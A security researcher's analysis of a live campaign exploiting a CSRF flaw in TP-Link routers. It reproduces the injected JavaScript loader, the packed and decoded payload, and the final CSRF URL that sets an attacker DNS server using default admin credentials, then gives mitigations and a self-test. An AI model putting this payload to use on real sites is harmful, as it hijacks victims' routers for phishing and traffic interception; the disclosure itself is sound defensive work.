Introduction

Today the majority of wired Internet connections is used with an embedded NAT router, which allows using the same Internet connection with several devices in parallel and also provides some protection against incoming attacks from the Internet. Most of these routers can be configured via a web interface. Unfortunately many of these web interfaces suffer from common web application vulnerabilities such as CSRF, XSS, insecure authentication and session management or command injection. In the past years countless vulnerabilities have been discovered and publicly reported. Many of them have remained unpatched by vendors and even if a patch is available, it is typically only installed to a small fraction of the affected devices. Despite these widespread vulnerabilities there have been very few public reports of real-world attacks against routers so far. This article exposes an active exploitation campaign against a known CSRF vulnerability (CVE-2013-2645) in various TP-Link routers. When a user visits a compromised website, the exploit tries to change the upstream DNS server of the router to an attacker-controlled IP address, which can then be used to carry out man-in-the-middle attacks.

Analysis of the exploit

This section describes one occurrence of the exploit. I have seen five different instances of the exploit on unrelated websites so far and the details of the obfuscation differ between them. However, the actual requests generated by the exploits are the same except for the DNS server IP addresses.

As you would expect for malicious content added to a website the exploit is hidden in obfuscated javascript code. The first step is a line of javascript appended to a legitimate javascript file used by the website:

document.write("<script type="\&quot;text/javascript\&quot;" src="\&quot;http://www.[REDACTED].com/js/ma.js\&quot;">");

It is possible that the cybercrooks append this line to various javascript files on compromised web servers in an automated way.

This code just dynamically adds a new script tag to the website in order to load further javascript code from an external server. The referenced file "ma.js" contains the following encoded javascript code:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('T w$=["\\E\\6\\5\\m\\o\\3\\q\\5\\m\\8\\3\\7\\"\\5\\3\\G\\5\\j\\r\\6\\6\\"\\y\\B\\d\\e\\8\\v\\4\\5\\q\\u\\4\\o\\H\\n\\5\\5\\8\\A\\j\\j\\a\\i\\e\\d\\f\\A\\a\\i\\e\\d\\f\\B\\2\\k\\h\\1\\2\\g\\9\\1\\2\\1\\2\\j\\u\\6\\3\\4\\z\\8\\e\\j\\s\\a\\f\\F\\n\\r\\8\\C\\3\\4\\l\\3\\4\\z\\8\\e\\1\\n\\5\\e\\I\\i\\n\\r\\8\\6\\3\\4\\l\\3\\4\\7\\2\\c\\d\\8\\2\\7\\2\\k\\h\\1\\2\\g\\9\\1\\2\\1\\2\\b\\b\\c\\d\\8\\h\\7\\2\\k\\h\\1\\2\\g\\9\\1\\2\\1\\2\\k\\k\\c\\s\\3\\a\\6\\3\\7\\2\\h\\b\\c\\Q\\a\\5\\3\\x\\a\\m\\7\\b\\1\\b\\1\\b\\1\\b\\c\\i\\v\\e\\a\\d\\f\\7\\c\\i\\f\\6\\6\\3\\4\\l\\3\\4\\7\\2\\b\\g\\1\\2\\9\\P\\1\\D\\g\\1\\9\\R\\c\\i\\f\\6\\6\\3\\4\\l\\3\\4\\h\\7\\9\\1\\9\\1\\9\\1\\9\\c\\C\\a\\l\\3\\7\\p\\t\\2\\p\\S\\D\\O\\p\\t\\K\\p\\J\\g\\L\\N\\E\\j\\6\\5\\m\\o\\3\\y\\q"];M["\\x\\4\\d\\5\\3\\o\\f"](w$[0]);',56,56,'|x2e|x31|x65|x72|x74|x73|x3d|x70|x38|x61|x30|x26|x69|x6d|x6e|x36|x32|x64|x2f|x39|x76|x79|x68|x6c|x25|x20|x63|x4c|x42|x75|x6f|_|x77|x3e|x52|x3a|x40|x53|x33|x3c|x44|x78|x28|x3f|x45|x34|x29|document|x3b|x2b|x37|x67|x35|x41|var'.split('|'),0,{}))

At first this code looks quite complicated and you probably don't want to manually analyze and decode it. However, it is clearly visible that the file just contains one big eval call. The parameter to eval (the code which is executed) is dynamically computed by an anonymous function based on the parameters p,a,c,k,e,d. A little bit of googling for "eval(function(p,a,c,k,e,d)" shows that this is the result of a publicly available javascript obfuscator. There are several online javascript deobfuscators you can use to reverse engineer the packed javascript. Alternatively, you can also just replace "eval" with "console.log" and then paste the code to the javascript console of Chrome Developer Tools. This just prints out the decoded javascript, which would otherwise be passed to eval. The result of the decoding is the following code:

var _$ = ["\x3c\x73\x74\x79\x6c\x65\x20\x74\x79\x70\x65\x3d\"\x74\x65\x78\x74\x2f\x63\x73\x73\"\x3e\x40\x69\x6d\x70\x6f\x72\x74\x20\x75\x72\x6c\x28\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x6d\x69\x6e\x3a\x61\x64\x6d\x69\x6e\x40\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31\x2f\x75\x73\x65\x72\x52\x70\x6d\x2f\x4c\x61\x6e\x44\x68\x63\x70\x53\x65\x72\x76\x65\x72\x52\x70\x6d\x2e\x68\x74\x6d\x3f\x64\x68\x63\x70\x73\x65\x72\x76\x65\x72\x3d\x31\x26\x69\x70\x31\x3d\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31\x30\x30\x26\x69\x70\x32\x3d\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31\x39\x39\x26\x4c\x65\x61\x73\x65\x3d\x31\x32\x30\x26\x67\x61\x74\x65\x77\x61\x79\x3d\x30\x2e\x30\x2e\x30\x2e\x30\x26\x64\x6f\x6d\x61\x69\x6e\x3d\x26\x64\x6e\x73\x73\x65\x72\x76\x65\x72\x3d\x31\x30\x36\x2e\x31\x38\x37\x2e\x33\x36\x2e\x38\x35\x26\x64\x6e\x73\x73\x65\x72\x76\x65\x72\x32\x3d\x38\x2e\x38\x2e\x38\x2e\x38\x26\x53\x61\x76\x65\x3d\x25\x42\x31\x25\x41\x33\x2b\x25\x42\x34\x25\x45\x36\x29\x3b\x3c\x2f\x73\x74\x79\x6c\x65\x3e\x20"];
document["\x77\x72\x69\x74\x65\x6c\x6e"](_$[0]);

Although this code is still obfuscated, it can easily be understood by decoding the hex-encoded strings. The string "\x77\x72\x69\x74\x65\x6c\x6e" is the hex-encoded version of "writeln" and given the way object oriented programming in javascript works the line 'document["\x77\x72\x69\x74\x65\x6c\x6e"](_$[0]);' is just a fancy way of writing 'document.writeln(_$[0]);'. The array element _$[0] contains the stuff which is written to the document and after decoding the escaped hex characters you get the following equivalent code:

document.writeln('<style type="text/css">@import url(http://admin:admin@192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=106.187.36.85&dnsserver2=8.8.8.8&Save=%B1%A3+%B4%E6);</style>')

So the obfuscated javascript adds a style tag to the current html document. The css in this style tag uses @import to instruct the browser to load additional css data from 192.168.1.1, which is the default internal IP address of most NAT routers. So it is obviously a CSRF attack which tries to reconfigure the router. The following section shows an analysis of what the request does with some TP-Link routers.

Analysis of the CSRF payload

It is obvious that the payload tries to reconfigure the options for the DHCP server included in the router at 192.168.1.1. While the parameters also include the start/end of the DHCP ip address range, the main purpose of the exploit is to change the primary DNS server to 106.187.36.85. The secondary nameserver points to a publicly available recursive DNS server (in this case the public DNS server provided by Google) in order to make sure that the user doesn't notice any connectivity problems in case the attacker-controlled nameserver is (temporarily) unavailable for any reason. Searching for the string "userRpm/LanDhcpServerRpm" quickly revealed that the exploit is targeting TP-Link routers. The fact that some TP-Link routers are vulnerable to CSRF attacks has already been publicly reported [1] by Jacob Holcomb in April 2013 and TP-Link has fixed this problem for some devices since then. Experiments have shown that several TP-Link routers are actually vulnerable to this CSRF attack (see below for an incomplete list of affected devices).

It is also worth noting that a web server should use POST instead of GET for all actions doing persistent changes to the router. This can protect against attacks in some scenarios where the attacker can only trigger loading a given URL e.g. by posting an image to a public discussion board or sending an HTML email (which could also be used to trigger attacks like this if the victim has enabled loading of remote images). However, even a POST request to the router can be issued in an automated way if the attacker can execute javascript code in the client browser. So in order to further protect against CSRF the server should either add a securely generated CSRF token or use strict referer checking (which is easier to implement on embedded devices).

The affected TP-Link routers use HTTP Basic Authentication to control access to the web interface. When entering the credentials to access the web interface, the browser typically asks the user whether he wants to permanently store the password in the browser. However, even if the user doesn't want to permanently store the password in the browser, it will still temporarily remember the password and use it for the current session. Since the session is only controlled by the browser behavior, the router can't actively terminate the session e.g. after a certain timeout or when clicking a logout button. Due to this limitation of HTTP Basic Authentication the configuration web interface has no logout button at all and the only way to terminate the session is closing and reopening the browser.

The CSRF exploit also includes the default credentials (username=admin, password=admin) in the URL. However, even if a username/password combination is given in the URL, the browser will ignore the credentials from the URL and still try the saved credentials or no authentication first. Only if this results in an HTTP 401 (Unauthorized) status code, the browser resends the request with the credentials from the URL. Due to this browser behavior the exploit works if the user is either logged in to the router or if the standard password hasn't been changed.

Consequences of a malicious DNS server

When an attacker has changed the upstream DNS server of a router, he can then carry out arbitrary man-in-the-middle attacks against users of the compromised router. Here is a list of several possible actions which can be carried out by redirecting certain dns hostnames to an attacker server:
* Redirect users to phishing sites when opening a legitimate website
* Redirect users to browser exploits
* Block software upgrades
* Attacking software updaters which don't use cryptographic signatures
* Replace advertisements on websites by redirecting adservers (that's what the dnschanger malware did [2])
* Replace executable files downloaded from the official download site of legitimate software vendors
* Hijack email accounts by stealing the password if the mail client doesn't enforce usage of TLS/SSL with a valid certificate
* Intercept communication between Android/IOS Apps and their back end infrastructure

As of now I do not know what kind of attacks the cybercrooks do with the malicious DNS servers. I have done some automated checks and resolved a large number of popular domain names with one of the DNS servers used for the attack and compared the results against a self-hosted recursive resolver. Due to the prevalence of round-robin load-balancing on DNS level and location-dependent redirection used e.g. by CDNs (content delivery networks) this automated comparison did result in a huge number of false positives and due to time constraints I could only manually verify those IP addresses which appear for a significant number of different hostnames. None of them turned out to be a malicious manipulation. However, it is very well possible that the infected routers are used for targeted attacks against a limited number of websites. If you find out what kind of attacks are carried out using the malicious DNS servers, please drop me an email or leave a comment in my blog.

Prevalence of the exploit

I discovered this exploitation campaign with an automated client honeypot system. Until now I spotted the exploit five times on totally unrelated websites. During that time the honeypot was generating some 280 GB of web traffic. The were some differences in the obfuscation used for the exploit but the actual CSRF requests generated are basically the same. The five instances of the exploit tried to change the primary nameserver to three different IP addresses and it is likely that there are more of them which I haven't spotted so far.

Recommendations to mitigate the problem

If you are using an affected TP-Link router, you should perform the following steps to prevent it from being affected by this exploit:
* Check whether the DNS servers have already been changed in your router
* Upgrade your router to the latest firmware. The vulnerability has already been patched at least for some devices
* If you don't get an upgrade for your model from TP-Link, you may also check whether it is supported by OpenWRT
* Change the default password to something more secure (if you haven't already done so)
* Don't save your router password in the browser
* Close all other browser windows/tabs before logging in to the router
* Restart your browser when you're finished using the router web interface (since the browser stores the password for the current browser session)

Affected Devices

I have already checked some TP-Link routers I had access to whether they are vulnerable to the attack. Some devices do contain the vulnerability but are by default not affected by the exploits I've seen so far because they are not using the IP address 192.168.1.1 in the default configuration.

• TP-Link WR1043ND V1 up to firmware version 3.3.12 build 120405 is vulnerable (version 3.3.13 build 130325 and later is not vulnerable)
• TP-Link TL-MR3020: firmware version 3.14.2 Build 120817 Rel.55520n and version 3.15.2 Build 130326 Rel.58517n are vulnerable (but not affected by current exploit in default configuration)
• TL-WDR3600: firmware version 3.13.26 Build 130129 Rel.59449n and version 3.13.31 Build 130320 Rel.55761n are vulnerable (but not affected by current exploit in default configuration)
• WR710N v1: 3.14.9 Build 130419 Rel.58371n is not vulnerable

It is likely that some other devices are vulnerable as well.

If you want to know whether your router is affected by this vulnerability, you can find it out by performing the following steps:
1. Open a browser and log in to your router
2. Navigate to the DHCP settings and note the DNS servers (it may be 0.0.0.0, which means that it uses the DNS server from your router's upstream internet connection)
3. Open a new browser tab and visit the following URL (you may have to adjust the IP addresses if your router isn't using 192.168.1.1):

http://192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=8.8.4.4&dnsserver2=8.8.8.8&Save=%B1%A3+%B4%E6

If your router is vulnerable, this changes the DNS servers to 8.8.4.4 and 8.8.8.8 (the two IP addresses from Google Public DNS). Please note that the request also reverts the DHCP IP range and lease time to the default value.
4. Go back to the first tab and reload the DHCP settings in the router web interface
5. If you see the servers 8.8.4.4 and 8.8.8.8 for primary and secondary DNS, your router is vulnerable.
6. Revert the DNS settings to the previous settings from step 2
7. If your router is vulnerable, you may also upgrade it to the latest firmware and check whether it is still vulnerable.

Feel free to drop me an email or post a comment with your model number and firmware version so that I can add the device to the list above.

References

[1]: http://securityevaluators.com/content/case-studies/routers/tp-link_wr1043n.jsp
[2]: https://en.wikipedia.org/wiki/DNSChanger